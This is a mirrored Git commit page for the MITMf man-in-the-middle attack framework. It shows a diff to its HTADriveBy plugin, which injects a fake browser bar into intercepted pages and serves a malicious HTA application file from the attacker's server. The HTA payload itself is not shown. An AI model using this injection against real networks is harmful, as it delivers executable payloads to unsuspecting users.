mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
responder code is now up to date with the lastest version
logging is going to have to get cleaned up, but that's a minor issue re-implemented the function to add endpoints to the http server added an option to manually specify the gateways mac in the Spoofer plugin
This commit is contained in:
parent
c527dc1d21
commit
772ef9ab39
12 changed files with 375 additions and 332 deletions
|
@ -30,24 +30,18 @@ class HTADriveBy(Inject, Plugin):
|
|||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
self.hta = options.hta_app.split('/')[-1]
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
from core.servers.HTTP import HTTP
|
||||
def hta_request(path):
|
||||
if path == options.hta_app.split('/')[-1]:
|
||||
with open(options.hta_app) as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
|
||||
HTTPserver().add_endpoint(hta_request)
|
||||
HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
|
||||
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload)
|
||||
return payload
|
||||
|
||||
def options(self, options):
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue